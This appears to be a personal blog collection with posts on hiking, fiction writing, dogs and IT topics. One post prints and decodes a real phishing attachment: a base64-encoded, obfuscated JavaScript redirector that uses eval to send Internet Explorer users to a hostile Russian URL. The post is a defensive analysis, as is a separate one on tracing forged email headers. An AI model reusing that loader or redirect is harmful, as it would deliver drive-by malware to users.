My Altitude Problem wasn't about Altitude

I can't believe how long it's been taking me to write about this.  Probably because the reality of it really hadn't sunk in but it is now.

For a few years, I've thought I was sensitive to altitude.  At a certain elevation my muscles would just run out of energy. It always seemed to be around 9600', but once in a while it would happen at 7500' which seemed odd.


Finally I started paying attention to how hard I was working and started to wear a heart rate monitor.  Then I noticed that it always seems to happen about 1 hour into a climb.  

I'm used to working at a high heart rate.  Two years of spin classes has taught me to love the high that it gave me. Now I'm realizing that is a bad habit. When I work too hard for longer than an hour (called working anaerobically), my muscles run themselve out of glycogen and oxygen and they "bonk."  They just nearly stop.  They can still function, but at around 25% of what they were.

The thing that gave me a clue to this is an experiment I did when I climbed Mt Hoffman in Yosemite. Whenever my heartrate wents above 150, I stopped and let it slow down.  Climbing it took forever, but hours in I never once had an issue with my muscles just quitting.

So these days I try to not work above 155 bpm.  It makes me really slow. which is crazy making as I'd be happy working at above 165 bpm, but at a certain altitude that is not a sustainable rate.

This took me a long time to work out as apparently when I'm at sea level there is enough air pressure to help oxygen still get to my muscles.

Writing: Allowing the Paranoia

Friends of mine know that I've been spending time trying to learn to write better fiction.  I'm skilled at expository writing - I do it nearly every day, but fiction is a whole 'nuther realm and what I hadn't anticipated is what a strange emotional journey it is and I'm only getting started.

The first obstacle is just allowing your imagination to run away and to not automatically restrain it.  It was kind of a shock for me to discover what an internal governor I have on my imagination.  I think it's part societal and part self protection.

The societal one is obvious.  I should be doing something more productive with my time and I only allow myself brief flights of fancy.  To tell myself to stay in that imaginative place takes a surprising amount of effort as I almost feel guilty about it and I am not Catholic.

The self protection one is more complicated.

For a good story to happen a character has to overcome a challenge of some sort.  This means that Bad Things (tm) need to happen to them.  I find this is really hard.  I care about the characters I have created and I don't like to see them in pain.  But without pain or at least something not good there is no story and there is no growth and things get really boring.

One easy out is to turn it into fighting some sort of injustic and not an emotional wrong but it all comes down to emotional stuff sooner or later.  I should not protect them or myself.

But there's another aspect that I hadn't counted on.  When I'm not depressed, I am usually pretty optimistic.  I usually don't consider the worst that could happen and I'm now realizing that I do this out of sanity preservation.  But as a writer, you have to go to those places even though you scare the crap out of yourself sometimes.

Just today I was imagining what if someone in the house collapsed with a heart attack and needed CPR.

CPR needs to be continuous, but you also need to 
 - get the phone and dial 911
 - unlock the door so that a paramedic can get in
 - oh and crate or leash the dog who is going to bite any "intruder" who walks into through the door uninvited.
 - and remember CPR needs to be continuous or they could die.  Ah fuck.

Right around now I usually swap into "don't be silly mode" and go on with life.  As a writer, I need to consider what that would be like even as my normally excellent blood pressure starts to climb.  You have to allow that paranoia to work its way in.

And also right around now I marvel at how anyone can do this.  Especially those who write about pain or death and dying.  They are to be admired for their emotional fortitude and good boundaries.

More HTML Virus Decoding

"HTML" based viruses give us a rare view into the workings of a virus or at least some of the mechanics of how it is launched.

So we have a new twist on the fake e-ticket scam.

I received a fake British Airways e-reciept with an attachment labeled as htm.

I viewed the email source and it was base-64 encoded:

PGh0bWw+DQogPGhlYWQ+DQogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT5QbGVhc2Ugd2FpdDwvdGl0bGU+
DQogPC9oZWFkPg0KIDxib2R5PiAgDQo8aDE+PGI+IFlvdSB3aWxsIGJlIGZvcndhcmRlZC4uLiBX
YWl0IHBsZWFzZS4uLjwvaDE+PC9iPg0KPGg0PkludGVybmV0IEV4cGxvcmVyIGNvbXBhdGlibGUg
b25seSEgPC9oND48YnI+DQoNCjxzY3JpcHQ+cD1wYXJzZUludDtzcz0oMSk/U3RyaW5nLmZyb21D
aGFyQ29kZTowO2FzZ3E9Ijc2ITYxITcyITMxITNkITM0ITNAITNiIWEhNzYhNjEhNzIhMzIhM2Qh
NzYhNjEhNzIhMzEhM2IhYSE2QCE2NiEyOCE3NiE2MSE3MiEzMSEzZCEzZCE3NiE2MSE3MiEzMiEy
QCEyMCE3YiE2NCE2ZiE2MyE3NSE2ZCE2NSE2ZSE3NCEyZSE2YyE2ZiE2MyE2MSE3NCE2QCE2ZiE2
ZSEzZCEyMiE2OCE3NCE3NCE3MCEzYSEyZiEyZiE2QCE2YyE2YyE3NSE2ZCE2QCE2ZSE2MSE3NCE2
MSE2NiEyZSE3MiE3NSEzYSEzOCEzMCEzOCEzMCEyZiE2NiE2ZiE3MiE3NSE2ZCEyZiE2YyE2QCE2
ZSE2YiE3MyEyZiE2MyE2ZiE2YyE3NSE2ZCE2ZSEyZSE3MCE2OCE3MCEyMiEzYiE3ZCIucmVwbGFj
ZSgvQC9nLCI5Iikuc3BsaXQoIiEiKTt0cnl7ZG9jdW1lbnQuYm9keSY9MC4xfWNhdGNoKGdkc2dz
ZGcpe3p6PTM7ZGJzaHJlPTIzO2lmKGRic2hyZSl7dmZ2d2U9MDt0cnl7ZG9jdW1lbnQ7fWNhdGNo
KGFnZHNnKXt2ZnZ3ZT0xO31pZighdmZ2d2Upe2U9d2luZG93WyJlIi5jb25jYXQoInYiKyJhbCIp
XTt9DQpzPSIiO2lmKHp6KWZvcihpPTA7aS0xMDchPTA7aSsrKXtpZih3aW5kb3cuZG9jdW1lbnQp
cys9c3MocChhc2dxW2ldLDE2KSk7fQ0KaWYod2luZG93LmRvY3VtZW50KWUocyk7fX08L3Njcmlw
dD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==

After decoding that using:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/

I found a script that redirected the browser to a site that is encoded in a way that we were seeing a couple of years ago.

It's trying to take advantage of an Internet Explorer vulnerability and they even have the chutzpah to say "IE only"

(I added the spaces in the tags to break them)
 
< h t m l >
 
 

 

You will be forwarded... Wait please...

Redirecting...

Internet Explorer compatible only!

p=parseInt;ss=(1)?String.fromCharCode:0;asgq="76!61!72!31!3d!34!3@!3b!a!76!61!72!32!3d!76!61!72!31!3b!a!6@!66!28!76!61!72!31!3d!3d!76!61!72!32!2@!20
!7b!64!6f!63!75!6d!65!6e!74!2e!6c!6f!63!61!74!6@!6f!6e!3d!22!68!74!74!70!3a!2f!2f!6@!6c!6c!75!6d!6@!6e!61!74!61
!66!2e!72!75!3a!38!30!38!30!2f!66!6f!72!75!6d!2f!6c!6@!6e!6b!73!2f!63!6f!6c!75!6d!6e!2e!70!68!70!22!3b!7d".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=23;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window["e".concat("v"+"al")];}
s="";if(zz)for(i=0;i-107!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}
if(window.document)e(s);}}


< / broken html >


------------------------------------------------------------------------------

The part that is all hex characters:

76!61!72!31!3d!34!3@!3b!a!76!61!72!32!3d!76!61!72!31!3b!a!6@!66!28!76!61!72!31!3d!3d!76!61!72!32!2@!20
!7b!64!6f!63!75!6d!65!6e!74!2e!6c!6f!63!61!74!6@!6f!6e!3d!22!68!74!74!70!3a!2f!2f!6@!6c!6c!75!6d!6@!6e!61!
74!61!66!2e!72!75!3a!38!30!38!30!2f!66!6f!72!75!6d!2f!6c!6@!6e!6b!73!2f!63!6f!6c!75!6d!6e!2e!70!68!70!22!3b!7d

You can decode with any ASCII chart (http://www.asciitable.com/)

All the characters are in hex except for:
All chars in hex except
2@=29h=)
3@=39h=9
6@=69h=i

The script uses ! as a separator so ignore them.

And...

This all translates to (I broke the http)
var1=49 ; \n
var2=var1; \n
if(var1==var2  ) [space] {
document.location="h t t p://illuminataf.ru:8080/forum/link/column.php;}

which is likely a viral php script on a site in Russian that has likely been broken into.

My Gun Control Idea

So here's my unattainable thought for how to get rid of a lot of assault rifles (which is a huge problem in the US).

Let's put human greed to work.

1. Make their sale illegal.

2. Offer a generous bounty on their return (more than their original cost.)

3. Don't require proof of ownership at the turn in.

My thought is that eventually outlaws will start stealing each other's rifles and turning them in.
There will be a slow attrition.  If it slows, raise the bounty.

Police and military ones would be specially marked so they can be spotted at turn in.

That Word "Expert"

So I've been noticing over time that when I hear the word "expert" my skeptic filters instantly engage.

Not so much when watching TV, but more in person.

The word itself tells me nearly nothing about the person being described.  It tells me a lot about the person speaking.  It usually means that the speaker doesn't understand the subject that they are saying the other person is an "expert" at.  What they are in a sense saying is that "This person I am calling an expert knows way more about subject X than I do."

Also, the more a person knows about a subject the less they would say the word expert (if ever).  I am an IT person with 18 years of experience.  I am not an expert at all.  I am a generalist, but someone describing me might use other vocabulary.

One way to learn more about the "expert" knows to have the speaker tell you more.  "Could you describe what this person helped you do?"  Or just let them talk.  There is information in the details, but you have to go through a lot of superfluous words first.

Removing Mobile Email Signatures

iPhones and other mobile devices often by default put a "Sent from my Super Magic Device" in the signature. This is entirely optional, and you can change or remove it if you'd rather not be an advertising billboard.


iPhone

• Settings
• Mail
• Signature

Android

Droid 4

• Open the Email app
• Menu Settings button
• Settings
• Select Account you want to change
• Signature

The Downsides of Winter Camping

I love being out in the snow.  It's usually gorgeous and if you choose carefully falling down is not that painful.

If you have a shovel you can play house all you like.  You can build walls, a kitchen complete with a basic table or working surface, or a latrine.  You can even build a snow cave if you're feeling ambitious.

But there are some obvious downsides to snow

 - You need to have snow skills.  You should know how to use an ice axe and crampons.  In particular you need to be able to use an ice axe to help you stop ("self-arrest").  This can be done with a trekking pole but trekking poles were not designed for this and those who know how to do this already know about how to use an ice axe.

 - When the weather warms up it's hard to walk on

 - When it's not hard to walk on you might be on ice and that's slick and dangerous

 - The UV rays can cook your skin - You need to be wearing something or have way heavy duty sunscreen.

 - The UV rays can blind you if you lose your sunglasses and you're better off with special glacier glasses.

 - The winds can be decidedly less than fun

 - The weather can suddenly change, but that's true anytime

 - Winter equipment is heavier, more expensive, and there is more of it.

 And the most obvious and often most defeating

 - It gets cold at night

And if you're trying to climb a mountain

 - You often need to start hiking when it's the most cold because this is when the snow is solid and most climbable.  (Called an "alpine start.")

If you're in a 4 season tent and have a nice sleeping pad and bag it can actually be quite nice, but 4 season tents are heavier, more expensive ($450-$600), and get very hot during the day.

If you're climbing by yourself (which you really shouldn't do but you can in popular areas), then you're the only one toting that silly tent.  You could get a 1 person tent but that means you really like your solitude and two person tents are usually much more fun unless you have money to burn and buy both.

Fortunately these days the tents have gotten lighter.  This 2 person 4 season tent is only 5 pounds:

http://www.backcountry.com/the-north-face-assault-2-tent-2-person-4-season

You can climb in the spring time with a 3 season tent if you have a good sleeping bag, but it means you are huddling quite a lot.  This last time I also optimistically went with an air mattress which was fabulous on dirt and an excellent conductor of cold especially when things got down to 20 degrees.  I left a day early.

So now I'm left with - how bad do I want to do this?  There are a whole world of ways to waste your time.

I am more draw these days to cross country skiing with fat (Randonee) skis and maybe do a hut tour as there are some nice Sierra huts.

Rehoming Sea Shells

Does everyone's parents keep weird stuff from their children's childhood?  For decades?

I was helping move my Mom into assisted living which mean going through a lot of stuff and sure enough there is the requisite one or two creepy boxes of stuff from when I was 10 or younger.  In said box was a plastic bag of sea shells with a note on it saying "Ellen's sea shells from St. Simon's Island (in Georgia).  While there was no date on it I haven't been to said Island to a long since sold (and now non-existent cottage) for well over 30 years.

So what do I do with a pile of sea shells?  There was a larger one that I abandoned on a rail at tourist laden Pier 39 in San Francisco (it was gone in minutes.)  But I also had a bunch of little tiny shells.

I could throw them away, but sea shells much like rocks are infinitely reusable.  There is always some wee sea creature looking for a home and anything that was once on them is long since dead so there's little risk of creating some pandemic ocean disease by carrying an East coast shell across the country and dropping it into the Pacific.

So I got my opportunity when I was at Pescadero Beach.  I hope some little critter had a nice home now.

Tracing Email Forgeries

Long and dull, but useful information:..

By now many folks know that emails claiming to be from Fed Ex, or UPS, or the postal service about deliveries are often scams.  But people often ask how do you tell for sure instead of just guessing?  

The way to tell is to look at the email’s “Full Headers.”  While such a display looks daunting there are particular details you are looking for and you can ignore a lot of the other detail.

What you are looking for is the often strangely formatted Received lines.  What you are interested in is what system sent me the email?  Did it really come from UPS or did it come from Moon-buk-tu?

Here is an example.  It claims to be from UPS about a delivery confirmation contained in an attachment.  First of all UPS doesn’t do that, so you know it’s not right from the start, but let’s continue.

Email gets handed off pony express style from one computer to another and there will be a Received line in the email for every “hop.”

Return-Path:
Received: from mail.ups.com (mail.dawee.co.id [203.160.60.139])
    by mymailsystem.blahblah.com (8.13.8/8.13.4) with ESMTP id q8A9vW9W028734
    for ; Mon, 10 Sep 2012 02:57:35 -0700
 Received: from [219.168.131.98] (helo=jsrlvuefbfxn.gjqtj.ru)
    by mail.dawee.co.id with esmtpa (Exim 4.69)
    (envelope-from )
    id 1MM3D6-6022ia-PI
    for ellen@blahblah.com; Mon, 10 Sep 2012 16:54:50 +0700 
From: "UPS Quantum View"
To:
Subject: Delivery Notification UPS Mon, 10 Sep 2012 16:54:50 +0700


Return-Path - this can be faked so ignore it.
Received lines go in reverse order so the last one to touch it is the one at the top and usually the one you want to look at.  You want to look for the name of your system that receives email for you.  In this case, I’m calling it mymailsystem.blahblah.com.  The top Received line is what sent it to mymailsystem.  That system claims to be mail.ups.com, but look inside the parenthesis.  In an ESMTP Received line what is inside the parens is placed there by the email software and rarely is forged.  What is inside the parens is who really sent the message: dawee.co.id which is a system in Indonesia.  UPS may be an international company, but I can assure you that a system of theirs whose job it is to send email is never going to look like this.  So we can safely conclude that it is a forgery.

The second received line is who sent it to indonesia which implies the Indonesian system may have been hacked/hijacked by a virus intended to send spams and scams.  This line is generated by Exim and I’m not as familiar with how those lines are formatted though I do know they are easiliy configurable and so I don’t trust them as much.  It is interesting that the parens only contain a “helo” which is what the system claims its name is to the mailer (listed as from Russia but very easily faked) and the ip address in the [] doesn’t match it.  The IP address is from Japan. (I checked with http://whatismyipaddress.com/ip/)  
The implication is that the system is lying to the Indonesian system about where it is from.

---

Here is another example.
This claims to be from the ADP payroll system company.

That first glance a big clue: X-Mailer The Bat!
The Bat! is a mailer that is heavily used by spammers.
Return-Path is just whatever the spammer claimed to be

Return-Path: \ 
Received: from adpmailer.adp.com ([62.198.244.64])
by mymailsystem.blahblah.com (envelope-sender )
with ESMTP id q8ADQiYc012151; Mon, 10 Sep 2012 06:26:45 -0700  
Received: from [207.99.101.96] (helo=eqlcqhhswioo.nxqyhrp.ru)  
by with esmtpa (Exim 4.69) (envelope-from ) id 1MMCKK-1644oq-DH 
for someone@blahblah.com; Mon, 10 Sep 2012 14:26:43 +0100
Date:     Mon, 10 Sep 2012 14:26:43 +0100
From: "ADP_Online_Invoice_DoNotReply@adp.com"
X-Mailer: The Bat! (v2.04.7) Business

Looking at the first Received line, i find mymailsystem@blahblah.com which is my example email system.  The system that sent it claims to be adpmailer.adp.com but, again, look inside the parens.  there is no name inside the parens so we have to do a little more work by using http://whatismyipaddress.com/ip/. and it tells us this system is from Denmark which again is not an ADP system.

The system that sent it to the Denmark system is 207.99.101.96 which is a system in New Jersey and again not from Russia as it claimed to be.

---

This example is basic forged spam.  It claims to be a stock tip from Italy but is really from a system in Russia (.ru inside the parens) that has likely been broken into:

Received: from ppp91-79-82-35.pppoe.mtu-net.ru (ppp91-79-82-35.pppoe.mtu-net.ru [91.79.82.35])
    by mysystem.blahblah.com (8.13.8/8.13.4) with SMTP id q88GA0nQ027380
    for ; Sat, 8 Sep 2012 09:10:04 -0700
Received: from unknown (HELO ebd) ([35.42.178.112])
    by ppp91-79-82-35.pppoe.mtu-net.ru with ESMTP; Sat, 8 Sep 2012 20:10:48 +0300
Message-ID: <001b01cd8ddc ab270="ab270" comp1ebd="comp1ebd" d1d0="d1d0">
From: "Keith Greer"
To:
Subject: Stock To Watch!


While the email address (kc_kate@tradenet.it) is a forgery, the name of the Russian system (ppp91-79-82-35.pppoe.mtu-net.ru) has not been - it appears the same both inside and outside of the parens in the Received line.  On the second Received line you can see the system that sent the spam through the Russian one.  Its identity is more protected, but it is likely 35.42.178.112 which is a system in Ann Arbor Michigan owned by Merit Network (who is a college), and I will send the full headers to the Merit Network abuse address which I’m hoping is abuse@merit.edu.  It's likely the Merit system has been broken into as well.

Memorizing Passwords and Other Important Stuff

My work has autogenerated passwords that change monthly.

For the most part, I just keep these in a mailbox folder that I refer to, but it saves me a couple of minutes if I just memorize the passwords that I use the most.

If you took piano lessons, or took biology or first aid, or even rock climbing classes you’ve no doubt been introduced to using words in a phrase to remind you of process (called a mnemonic device.)  The piano staff one of Every Good Boy Does Fine and FACE is here (though I must admit to wondering why you need a mnemonic for something that is alphabetical).: http://piano.about.com/od/gettingstarted/ss/notes_2staves.htm

For example: QPEN Query Paul about his Egyptian Name

But the more ridiculous a device is the more memorable it is
What’s even better if you can come up with a silly image.

if you have
TRZ

then a great way to remember it is:  The Red Zebra

After 24 hours I couldn’t remember Query Paul Egyptian Name.  All I could remember was Query Paul, BUT I had no trouble remembering The Red Zebra.

So if a password is
pgr4dn8h

then you can use
purple giraffes are for digging innate holes

This process works well for license plates too

5wwh582

5 women will have 5 to 8 tulips

6act925

6 accordians can toil 9 to 5

Of course the hazard of all this is if you do too good a job, you are stuck with brain cells that are forever occupied with this bit of information long after it isn’t relevant.  In this case, you can always repurpose it.  i use portions of old phone numbers as pin numbers

A Writer in Training

So I've decided that for my second/retirement career (right now I'm a happy IT person right now and a non-professional dog trainer) is that I want to be a writer.

Writing has always been a part of my life (lit undergrad etc) and I never really realized I had much talent at it until email and the internet where I started writing a lot and people would complement me on it.  Over time I've finally come to realize that it might be something I could semi-seriously persue.

But I have a lot to learn.  I am a great expository writer and I write for work every day and I have two blogs also, but I would like to write fiction and I have limited experience in that.  The big thing is the entire art of storycraft and plots and creating a consistent, credible fictional world.  We all have a good idea of what makes a good story, but to actually create something that someone actually wants to read is a whole 'nuther universe.

So I've started going back over books I've read just to see how the story develops and it's been really interesting.  I'll have to add more to this over time, but things, in particular, I've noticed are.

The beginning drops you right in the middle of something and you are immediately busy trying to figure out what is going on.  Something like: "I ducked as the pig flew by and sailed into the dining room and then I noticed that ground squirrels were drinking whiskey and laughing."  Then the writer will give you more information while the character and you are trying to figure out what to do about the situation.

Another thing I've just noticed, and I'm not sure I quite understand the point of it is hint dropping that will be missed by 90% of first time readers.  "His stance was squared off and seemed vaguely similar to something that my father once did."  Then chapters later it turns out that this person is a missing son of said father.  What is the purpose of doing that?  I can see if it is intriguing, but most of new readers are going to miss the reference.

Then there is the fictional world you build, and you have to understand that readers are going to be comparing your world to other authors.

I'm reading Deborah Harknesses A Discovery of Witches where she has Vampires, Witches, Demons and Humans.  I am a devoted fan of Jim Butcher's Harry Dresden and I can't help but compare the two, and sometimes I feel like Harkness is directly addressing the issue.  For example, when a vampire explains to the main character (a witch) that he doesn't need a specific invitation to cross a threshold. In Butcher's world he would, and my in-house Buffy the Vampire Slayer expert says that in Buffy's world they also would need an invitation.  You could probably write a whole essay comparing all the vampire worlds on this issue (including Anne Rice's and Bram Stoker's)

This is one thing I really like about Science Fiction.  You get to make the rules.  Detailed, reality based, fictional books like the ones that Daniel Silva writes are so perilous because if you get one detail wrong it jars many readers and they really don't like it.  In Science Fiction and Fantasy as long as you are consistent in the world you create you're ok.

More as I learn more.

Missing My Dad on the John Muir Trail

So we're getting ready for a week on the North part of the John Muir Trail in the Sierras and only now with in a few days of leaving am I really missing my Dad.  He loved the Sierras and even though he was always calling the JMT a freeway, I know that he would be completely curious and asking me endless questions about the trip and the process of getting ready for it.  He's not just on my shoulder, he's right beside me saying "Have you thought about X or Y or how about Q?"  

The biggest thing for him would be his concern about the small issue of a storm in November of 2011 blowing down 700 trees with great many of them blocking the trail.  It has just (and I mean like a few days ago) been cleared to where we're going.  This would then send him off talking about all the tree work he's done in his life as we used to have an orchard.  Then he'd no doubt be reminded of when they pulled out a grapefruit tree stump using an Alfa Romeo.

Then he'd segway back to one of our Sierra  trips where he let a very young me talk him into taking a short cut and we wound up spending the night on a mountain side.  I still think the shortcut made sense (kinda, sorta), but I had little appreciation on how up things can be in the mountains and how much shrubery like Manzanita and Cat Claw can slow you down especially when you're small.

But irritating as he could be, and as much time I spent answering his endless questions, I mostly just miss him.  I know that I'm going to be hearing his voice the whole trip and that's ok. 

Is that a Real Lake?

One thing that I've often wondered when I've seen a lake is: Is it a "real" lake or is it a human made reservoir?

From the ground unless you already know, it's kind of hard to tell sometimes.

From the air and especially from Google Maps it gets much more obvious.

Natural lakes have rounded edges and look like they belong there.   This is Consultation Lake in the Mt. Whitney area in the Sierra Nevada.  Rivers enter and leave much the same way they came.  This particular lake was covered in snow when its satellite photo was taken so this is the map view.

Lakes created by dams have that stopped up bathroom drain look about them

This is O.H. Ives Lake in East Texas that I have only seen from a plane.

The fastest way for me to tell from the air is to look for that tell-tale straight line which is the dam.

This are some local resevoirs near me.  Briones and San Pablo:

Looking closer you can see the flat lines where the dams are located:

 Another way to tell a fake lake is to look at where you see where a river should be.

 
In the O.H Ives Lake pictured above, you can see two rivers streaming in, but only a ghost of one on the other side and sure enough that is where the dam is,  Zooming in on ghost river you can see a discontinuity that is the dam.

Another example is Red Bluff Resevoir:

Big River going in an just a trickle at the bottom.  Zooming in you see:

Some are harder to spot but you can using the same technique.

This is Shasta Lake in California.  It definitely has that plugged drain look about it.

There are several rivers so it takes some looking around to spot the affected river.

Looking on the West side there is a candidate on the bottom left:

And zooming in your see the dam:

But sometimes even natural lakes have human intervention.

Lake Tahoe is a gorgeous natural lake (http://en.wikipedia.org/wiki/Lake_Tahoe) 

But even it has a dam where they can control the lake's level. I couldn't see it myself, but the Wiki page says it's in Tahoe City and on closer inspection in that area you can see it:

So now you have something to obsess over when you're looking out  a plane window.  Of course most people just enjoy the scenery or read a book.

"Reno-Tahoe" Has No Meaning

On the raiio, I've hear over and over again about a million dollars of advertising about "Reno-Tahoe" and it's such a marketing ploy.  If you drive way past Tahoe into Nevada you come to Reno which is fine.  But they have been trying so hard to pair the names as if they go together.  They really don't.

Here's the map.

When you are in Reno you might very well be thinking of Tahoe, BUT when you are in Tahoe you are so NOT thinking of Reno, in fact you're not thinking of the closer Carson City.  If you need to go to a city to go shopping, you go to Truckee.  If you want to go gambling, you go down the South Lake Tahoe.  What is Reno trying to pull?  Is all this advertising helping? It just seems surreal and artificial.

Writing Angst

Here I am doing it again: I am stressing about not easily being able to write fiction.

This is a joke as the very first thing I ever did was tell stories to myself at night.
It was because I had crushes on people I couldn’t have so I would create life and death settings where we were thrown together where I could say how I felt - mostly because they were dying.  I did died occasionally too, but mostly them because if I died it was most inconvenient to telling the story.

Let’s just say the Hunger Games strikes a chord.  I could have written it if doing so had even crossed my mind as something that would remotely appeal to anyone else.

I think I need to treat this like learning anything else.  Break it down into doable chunks, but it’s more a matter of figuring out the chunks.  I can come up with characters, but the overall story structure is something I am not practiced in.

But stressing about it is completely silly and just giving me a reason to beat myself up.  Stop worrying about it and just write stuff.  Bits and pieces is fine.

Writing Fiction vs. Blogging: Completely Different

I'm (casually) trying to learn storycraft and fiction writing, and I'm completely fascinated how different writing fiction is vs. blogging.  The philosophical approaches are vastly different in a way.  A blogger writes down their thoughs quite soon after they think of them and pretty soon after that publishes them.  A fiction writer on the other hand, will spend weeks, months, years working out a story and that story may not ever get printed if they can't find a publisher.  Plus they don't breathe a word about it for fear that someone else will print the idea first, and also publishers often won't touch something that has been printed before even if it's just the internet.

This secrecy drives blogger types like me nuts.  As I work out my ideas I'd love to show the process publicly as I think that would be extremely cool.  The problem is that I don't have a lot of ideas in the fiction realm and, unlike blogging, they're kind of hard to come up with.  As a result, if I were to do this I would have to come up with a throwaway example, or one that is just given away on the web as a way to show what I can do. 

All this while my really cool idea just sits there begging to be free.  Argh.

Backpacking is No Longer about Pain

I know I've written about this in terms of boots, but makers of backpacks have made incredible strides in backpack comfort.  I'm on my third backpack (forth if you count the external frame one) and I'm worn out pretty much none of them.  What I have learned over time is that they are in order of decreasing discomfort to use the double negative that I'm kinda fond of.

Not only that, these days backpack manufacturers have created a sizing system so that you now have the equivalent of a shoe size.  Now I can walk into any outdoors store and ask about backpacks that fit a size 15.5 (inches I believe).  If your equipment is more than 2 or 3 years old, seriously consider taking a closer look at the new stuff.  Backpacking gear is not that expensive, and your body will thank you.

You also owe it to yourself to have your pack fitted to you by a knowledgeable person which should mean an employee of a reputable outdoors store and not a Significant Other (hearkening back to Snowboarding: Domestic Discord).  You do not want your S.O. to be blamed for any soreness.  There are a lot of fitting details and variables and getting it right can make a real difference in pain free or real pain.

Brain Health: Do Tasks the Hard Way

So according to some recent studies (here's one: http://www.wftv.com/news/news/local/boosting-brain-power-how-stay-sharp/nPF7r/) doing something that is difficult is actually good for your brain.  Examples they use are using your non-dominate hand, or reading or writing upside down, or physical things like jogging backwards.  I've also heard that working on learning a new language or a musical instrument are very good.  You brain has to develop new pathways.

I'm finding this whole thing very intriguing.  It means that you can try to do something just on the basis that it's difficult.  Personally I would need more motivation than that, but it really does take you off the hook in terms of having to be good at something.  You don't have to be perfect at it you just have to be willing to work at it.  That's very freeing.  Work at it just because it's hard.

My current example is of course an odd one.  My dogs like herding stock, and herding is very difficult.  If you though dog agility was hard, try it with all of the obstacles moving.  It's brain bendingly difficult, but the challenge is fantastic and you learn new observation skills and you learn how to make efficient choices on what to watch and how carefully.

It also means that I should really consider going back to guitar playing or staying involved in some way.  Songwriting and story creation are very difficult and frustrating for me but it's probably something I should persue.  Struggle is good.

Eat Before You Exercise

A while back I wrote To Run Further - Fill the Tank First.

http://www.blogger.com/blogger.g?blogID=6035513#editor/target=post;postID=6286714753798553177

Today I was on a training climb that was intended to be a shake down of a new backpack and my experience is still the same.  An hour before, I ate lunch a veggie burger patty, and tortellini pasta.  I did a 1300' climb with a 30 pound pack pushing pretty hard.  I didn't eat at all during the climb.  I had plenty of energy and did not bonk at all which would often happen under the same circumstances.

 I haven't tried this at altitude or over a longer period of time.

Altitude is especially tricky as altitude depresses appetite for me at least (others too).  I've been reading (kinda sorta) that there really is something to "carb loading," but that more has to do with eating a lot of carbs the night before but that you can store extra energy in your muscles for a little while.

The Mighty Haddorff Vertichord Piano

Some years ago my mom gave me the family piano when they moved to Seattle.  I actually don't remember how it got here - their movers must have dropped it off.  She had told me that someone told me that it was unique (vaguely implying valuable).  I finally checked into it.  The reason the Haddorff Vertichord is special is that it was a fantastic design error:

http://www.pianoworld.com/forum/ubbthreads.php/ubb/showflat/Forum/1/topic/021272/Number/0/site_id/1#import


The one thing I don't understand is that I'm comparing the Vertichord's string layout to another upright and they actually look pretty similar.  This is mine.

And here is one from
http://en.wikipedia.org/wiki/File:Upright_piano_inside.jpg

Theirs look even more vertical.
 
 But the poster is right it doesn't stay in tune for very long.  Fortunately unlike the poster's experience there aren't any glue failures in this one.  Although having said that I just checked and only 3 keys are out of tune and it's been a few months.

A plus side is that after I had one tuner out, I figured out how to tune it. (and yes, those short strings are a pain), and we use it to practice on and Terri's band uses it to rehearse with, so it actually does get played.

Regardless I am getting tired of its fussiness and and just about ready to buy a new piano sounding weighted keyboard (no room for a grand piano and we're not good enough players to really appreciate it.